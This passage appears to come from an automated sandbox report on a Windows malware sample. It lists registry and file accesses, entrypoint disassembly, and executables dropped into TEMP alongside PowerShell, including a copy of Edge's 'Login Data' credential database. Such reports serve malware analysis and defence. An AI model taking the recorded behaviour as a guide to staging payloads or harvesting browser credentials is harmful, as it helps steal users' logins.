"HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "31839b57a4f11171d6abc8bbc4451ee4.exe" touched "PSEnumVariant" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\INPROCHANDLER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\INPROCSERVER32")38:Tcb4,"e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.bin" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al," "31839b57a4f11171d6abc8bbc4451ee4.exe" file has an entrypoint instructions - "call 0x40e8f1,jmp 0x407c45,push dword ptr [0x823904],call dword ptr [0x4010f8],test eax, eax,je 0x407dce,call eax,push 0x19,call 0x40bb01,push 1,push 0,call 0x40a269,add esp, 0xc,jmp 0x40a236,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, dword ptr [esp + 4],test ecx, 3,je 0x407e20,mov al, byte ptr [ecx],add ecx, 1,test al, al,je 0x407e53,test ecx, 3,jne 0x407dfc,add eax, 0," "aafg31.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x100009cf4,add rsp, 0x28,jmp 0x100004cee,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],cmp rcx, qword ptr [rip + 0x4869],jne 0x1000098bb,rol rcx, 0x10,test cx, 0xffff,jne 0x1000098b7,ret 0,ror rcx, 0x10,jmp 0x100009db0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx," "latestplayer.exe" file has an entrypoint instructions - "call 0x417ca8,jmp 0x4174f2,mov ecx, dword ptr [ebp - 0xc],mov dword ptr fs:[0], ecx,pop ecx,pop edi,pop edi,pop esi,pop ebx,mov esp, ebp,pop ebp,push ecx,bnd ret ,mov ecx, dword ptr [ebp - 0x10],xor ecx, ebp,bnd call 0x416d7c,bnd jmp 0x41767e,push eax,push dword ptr fs:[0],lea eax, [esp + 0xc],sub esp, dword ptr [esp + 0xc],push ebx,push esi,push edi,mov dword ptr [eax], ebp,mov ebp, eax,mov eax, dword ptr [0x449018],xor eax, ebp,push eax,push dword ptr [ebp - 4],mov dword ptr [ebp - 4], 0xffffffff,lea eax, [ebp - 0xc],mov dword ptr fs:[0], eax,bnd ret ," "toolspub2.exe" file has an entrypoint instructions - "call 0x40e8f1,jmp 0x407c45,push dword ptr [0x43e044],call dword ptr [0x4010f8],test eax, eax,je 0x407dce,call eax,push 0x19,call 0x40bb01,push 1,push 0,call 0x40a269,add esp, 0xc,jmp 0x40a236,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,mov ecx, dword ptr [esp + 4],test ecx, 3,je 0x407e20,mov al, byte ptr [ecx],add ecx, 1,test al, al,je 0x407e53,test ecx, 3,jne 0x407dfc,add eax, 0,"39:T408,Process "aafg31.exe" (UID: 00000000-00001296) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "aafg31.exe" (UID: 00000000-00001296) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles" Process "31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 00000000-00006044) was launched with modified environment variables: "LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, APPDATA, USERNAME, CommonProgramFiles, Path, HOMEPATH, TEMP, USERPROFILE, TMP, ProgramFiles" Process "31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 00000000-00006044) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, LOGONSERVER, OneDrive, PROCESSOR_ARCHITEW6432" Process "powershell.exe" (UID: 00000000-00000100) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "powershell.exe" (UID: 00000000-00000100) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles"3a:T76d,".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") ".exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "aafg31.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "aafg31.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "toolspub2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "toolspub2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "toolspub2.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "31839b57a4f11171d6abc8bbc4451ee4.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "latestplayer.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH")3b:T12fd,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007196-00000C25-31041615] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007196-00000C25-31302827] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007196-00000C25-31387710] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007196-00000C25-31443122] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007196-00000C25-31558237] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007196-00000C25-31596635] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007196-00000C25-31635318] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007196-00000C25-31710985] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007196-00000C25-31843787] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00007196-00000C25-31890789] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007196-00000C25-31950887] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007196-00000C25-31967793] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00007196-00000C25-31986442] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007196-00000C25-32040338] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00005060-00000C25-45724519] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00005060-00000C25-45980101] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00005060-00000C25-46238712] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00005060-00000C25-46606615] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00005060-00000C25-46715058] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00005060-00000C25-46888032]3c:T856,"31839b57a4f11171d6abc8bbc4451ee4.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\31839b57a4f11171d6abc8bbc4451ee4.exe]- [targetUID: 00000000-00007196] "aafg31.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- Location: [%TEMP%\aafg31.exe]- [targetUID: 00000000-00007196] "latestplayer.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\latestplayer.exe]- [targetUID: 00000000-00007196] "toolspub2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\toolspub2.exe]- [targetUID: 00000000-00007196] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00005060] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%WINDIR%\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00005060] "e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe.log]- [targetUID: 00000000-00007196] "imagd_1_.jpg" has type "JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3"- [targetUID: N/A] "Login Data111" has type "SQLite 3.x database last written using SQLite version 3038005"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data111]- [targetUID: 00000000-00001296] "efd4472504a0a448ca5f01377b87ca17" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Network\efd4472504a0a448ca5f01377b87ca17]- [targetUID: 00000000-00001296] "StartupProfileData-Interactive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00005060] "StartupProfileData-Interactive" has type "data"- [targetUID: 00000000-00005060]3d:T770,".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\INPROCSERVER32"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ALLOWEDENUMERATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ALLOWEDENUMERATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TERMINAL SERVER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\PROFILELIST\S-1-5-21-735145574-3570218355-1207367261-1001\FDEPLOY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USER SHELL FOLDERS"; Key: ""; Value: "")3e:T730,".exe" queries basic process information of the "C:\e9dc3c310187d5aa3a5451c4c6799792b5e6c501da776f0adeaf16302aa84e6e.exe" (UID: 7196) ".exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\aafg31.exe" (UID: 7196) ".exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe" (UID: 7196) ".exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 7196) ".exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\latestplayer.exe" (UID: 7196) "aafg31.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\aafg31.exe" (UID: 1296) "toolspub2.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\toolspub2.exe" (UID: 6048) "31839b57a4f11171d6abc8bbc4451ee4.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 5024) "31839b57a4f11171d6abc8bbc4451ee4.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 5024) "powershell.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 5060) "31839b57a4f11171d6abc8bbc4451ee4.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe" (UID: 6044) "31839b57a4f11171d6abc8bbc4451ee4.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 6044) "powershell.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 100)3f:Tdf8,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\INPROCSERVER32"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\MYCOMPUTER\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\INPROCSERVER32"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE"; Key: "VALIDATEREGITEMS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\USERSFILES\NAMESPACE"; Key: "MONITORREGISTRY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{4DF0C730-DF9D-4AE3-9153-AA6B82E9795A}\INPROCSERVER32"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{18989B1D-99B5-455B-841C-AB7C74E4DDFC}\PROPERTYBAG"; Key: "THISPCPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\EXPLORER"; Key: "DISABLEPERSONALDIRCHANGE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{33E28130-4E1E-4676-835A-98395C3BC3BB}\PROPERTYBAG"; Key: "THISPCPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PROPERTYBAG"; Key: "THISPCPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{56784854-C6CB-462B-8169-88E350ACB882}\PROPERTYBAG"; Key: "THISPCPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{0DDD015D-B06C-45D5-8C4C-F59713854639}\PROPERTYBAG"; Key: "THISPCPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{0DDD015D-B06C-45D5-8C4C-F59713854639}\PROPERTYBAG"; Key: "BASEFOLDERID"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{35286A68-3C57-41A1-BBB1-0EAE73D76C95}\PROPERTYBAG"; Key: "THISPCPOLICY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\FOLDERDESCRIPTIONS\{35286A68-3C57-41A1-BBB1-0EAE73D76C95}\PROPERTYBAG"; Key: "BASEFOLDERID"; Value: "")40:T58c,".exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" ".exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" ".exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" ".exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" ".exe" reads file "c:\users\%osuser%\desktop\desktop.ini" ".exe" reads file "c:\users\%osuser%\documents\desktop.ini" ".exe" reads file "c:\users\%osuser%\music\desktop.ini" ".exe" reads file "c:\users\%osuser%\pictures\desktop.ini" ".exe" reads file "c:\users\%osuser%\videos\desktop.ini" ".exe" reads file "c:\users\%osuser%\downloads\desktop.ini" ".exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" ".exe" reads file "c:\users\%osuser%\searches\desktop.ini" ".exe" reads file "c:\users\%osuser%\contacts\desktop.ini" ".exe" reads file "c:\users\%osuser%\favorites\desktop.ini" ".exe" reads file "c:\users\%osuser%\links\desktop.ini" ".exe" reads file "c:\users\%osuser%\saved games\desktop.ini"41:Ta68,".exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" ".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" ".exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" ".exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\MSCORRC.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\MSCORRC.DLL.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll.DLL"42:T985,".exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" ".exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" ".exe" trying to access non-existent file 